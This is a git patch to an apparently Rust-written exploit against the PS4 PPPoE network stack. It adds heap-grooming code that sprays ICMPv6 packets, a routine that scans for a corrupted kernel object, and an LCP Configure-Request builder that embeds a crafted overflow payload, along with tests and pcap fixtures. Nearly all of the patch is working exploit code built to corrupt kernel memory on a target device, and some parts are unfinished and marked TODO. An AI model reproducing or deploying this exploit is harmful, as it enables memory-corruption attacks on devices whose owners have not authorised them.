From 69ea556dabfb056451d6f096f68eefd332045719 Mon Sep 17 00:00:00 2001 From: FedeBuonco <34037265+fedebuonco@users.noreply.github.com> Date: Mon, 14 Oct 2024 23:03:31 +0100 Subject: [PATCH] Fb overflow (#10) * conf_req * Add search for corrupted obj * Implement lle_overflow --- src/exploit.rs | 171 ++++++++++++++++++++++-------- test_data/lcp_conf_request.pcap | Bin 0 -> 66 bytes test_data/lcp_conf_request_m.pcap | Bin 0 -> 442 bytes 3 files changed, 129 insertions(+), 42 deletions(-) create mode 100644 test_data/lcp_conf_request.pcap create mode 100644 test_data/lcp_conf_request_m.pcap diff --git a/src/exploit.rs b/src/exploit.rs index 1432fea..25c6d59 100644 --- a/src/exploit.rs +++ b/src/exploit.rs @@ -356,42 +356,7 @@ impl Exploit { self.ipcp_negotiation(interface); let mut _corrupted = false; - // TODO Implement spray again in reverse ? - // for i in reversed(range(self.SPRAY_NUM)): - // if i % 0x100 == 0: - // print('[*] Scanning for corrupted object...{}'.format(hex(i)), - // end='\r', - // flush=True) - - // if i >= self.HOLE_START and i % self.HOLE_SPACE == 0: - // continue - - // source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i) - - // self.s.send( - // Ether(src=self.source_mac, dst=self.target_mac) / - // IPv6(src=source_ipv6, dst=self.target_ipv6) / - // ICMPv6EchoRequest()) - - // TODO Implement this loop - - // while True: - // pkt = self.s.recv() - // if pkt: - // if pkt.haslayer(ICMPv6EchoReply): - // break - // elif pkt.haslayer(ICMPv6ND_NS): - // corrupted = True - // break - - // if corrupted: - // break - - // self.s.send( - // Ether(src=self.source_mac, dst=self.target_mac) / - // IPv6(src=source_ipv6, dst=self.target_ipv6) / - // ICMPv6ND_NA(tgt=source_ipv6, S=1) / - // ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) + // search_for_corrupted_obj(); // TODO make this the return of up if !_corrupted { println!("[-] Scanning for corrupted object...failed. Please retry the exploit."); @@ -623,8 +588,12 @@ fn extract_ps4_source_mac(data: &[u8]) -> Result<[u8; 6], Box Vec { let mut overflow_lle = Vec::new(); @@ -699,6 +668,42 @@ pub fn create_fake_ifnet(pppoe_softc: u64) -> Vec { fake_ifnet } +fn search_for_corrupted_obj( + tx: &mut dyn DataLinkSender, + rx: &mut dyn DataLinkReceiver, + source_mac: [u8; 6], + target_mac: [u8; 6], + target_v6: [u8; 16], +) { + for i in (0..constants::SPRAY_NUM).rev() { + println!("[+] Heap Grooming at {:?}%", 100 * i / constants::SPRAY_NUM); + if i >= constants::HOLE_START && i % constants::HOLE_SPACE == 0 { + println!("[-]HOLE"); + continue; + } + let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i); + let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string) + .expect("Failed to parse IPv6 address") + .octets(); + // listen for + let icmpv6_req = create_icmpv6_echo_req(source_mac, target_mac, source_v6, target_v6); + + // Send the request + let _result = tx + .send_to(icmpv6_req.as_slice(), None) + .expect("[-] Failed to send icmpv6"); + + // if not recive the nd_ns then timeout and return false + let _result = listen_for_packet(rx, is_icmpv6_nd_ns); + // self.s.send( + // Ether(src=self.source_mac, dst=self.target_mac) / + // IPv6(src=source_ipv6, dst=self.target_ipv6) / + // ICMPv6ND_NA(tgt=source_ipv6, S=1) / + // ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) + //TODO return corr yes or no + } +} + fn spray( tx: &mut dyn DataLinkSender, rx: &mut dyn DataLinkReceiver, @@ -1064,8 +1069,8 @@ pub fn create_lcp_conf_request( payload.push(session_data); payload.extend_from_slice(&session_id); - // Fixed length - payload.extend_from_slice(&[0, 6]); + let length_index = payload.len(); // Store the index where the length will be inserted + payload.extend_from_slice(&[0x00, 0x00]); // PPP header payload.extend_from_slice(&constants::ETHERTYPE_LCP.to_be_bytes()); @@ -1073,9 +1078,31 @@ pub fn create_lcp_conf_request( // LCP and fixed length payload.push(constants::LCP_CONF_REQ); // Configuration Request payload.push(constants::LCP_ID); - payload.extend_from_slice(&[0, 4]); - if overflow_lle.is_some() {} + if overflow_lle.is_some() { + // Read https://datatracker.ietf.org/doc/html/rfc1661#section-6 and now I know + payload.extend_from_slice(&[0x01, 0x04]); // 260 lcp size when adding the malicious options + + // Option + payload.push(0x00); // The RESERVED type + payload.push(0xfe); // The Length of the lcp options size 254 + for _ in 0..252 { + payload.push(0x41); + } + // Push the length of the remaining stuff + payload.extend_from_slice(&[0x00, 0x7A]); // 122 + payload.extend_from_slice(&overflow_lle.unwrap()); + } else { + payload.extend_from_slice(&[0, 4]); // 4 lcp size whithout adding the malicious options + } + + // Now, calculate the actual payload length + let payload_length = (payload.len() - 6) as u16; + + // Update the length field in the PPPoE header (stored at length_index) + let length_bytes = payload_length.to_be_bytes(); + payload[length_index] = length_bytes[0]; + payload[length_index + 1] = length_bytes[1]; ether::Builder::default() .source(source_mac.into()) @@ -1744,4 +1771,64 @@ mod tests { compare_packets("icmpv6_echo_req", &expected_packet.data, &generated_packet); } + + #[test] + fn test_create_lcp_conf_request_normal() { + // Load the expected packet from a .pcap file for comparison + let mut cap = Capture::from_file("test_data/lcp_conf_request.pcap") + .expect("Failed to open pcap file"); + let expected_packet = cap + .next_packet() + .expect("Failed to read LCP CONF REQUEST packet"); + + // Define the test input data + let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source + let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target + let session_data = 0x00; // Example session data byte + let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes) + + // Call the function to generate the LCP CONF REQUEST packet + let generated_packet = + create_lcp_conf_request(source_mac, target_mac, session_data, session_id, None); + + // Compare the expected packet with the generated packet + compare_packets("lcp_conf_request", &expected_packet.data, &generated_packet); + } + + #[test] + fn test_create_lcp_conf_request_malicious() { + // Load the expected packet from a .pcap file for comparison + let mut cap = Capture::from_file("test_data/lcp_conf_request_m.pcap") + .expect("Failed to open pcap file"); + let expected_packet = cap + .next_packet() + .expect("Failed to read LCP CONF REQUEST packet"); + + // Define the test input data + let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source + let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target + let session_data = 0x00; // Example session data byte + let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes) + + // Create an overflow LLE for testing + let test_host_unique = get_test_host_unique(); + let pppoe_softc: u64 = u64::from_le_bytes(test_host_unique); + let overflow_lle = build_overflow_lle(pppoe_softc); + + // Call the function to generate the LCP CONF REQUEST packet + let generated_packet = create_lcp_conf_request( + source_mac, + target_mac, + session_data, + session_id, + Some(overflow_lle), + ); + + // Compare the expected packet with the generated packet + compare_packets( + "lcp_conf_request_m", + &expected_packet.data, + &generated_packet, + ); + } } diff --git a/test_data/lcp_conf_request.pcap b/test_data/lcp_conf_request.pcap new file mode 100644 index 0000000000000000000000000000000000000000..6d9aa3b31e0cafc81a277aae47c71ef28393e78e GIT binary patch literal 66 zcmca|c+)~A1{MYcU}0bca;6(gt3y5gB2XAAQ=N~P#9uU57UQ6D?s@Fpf>!6fO-Hb Cq-Np( literal 0 HcmV?d00001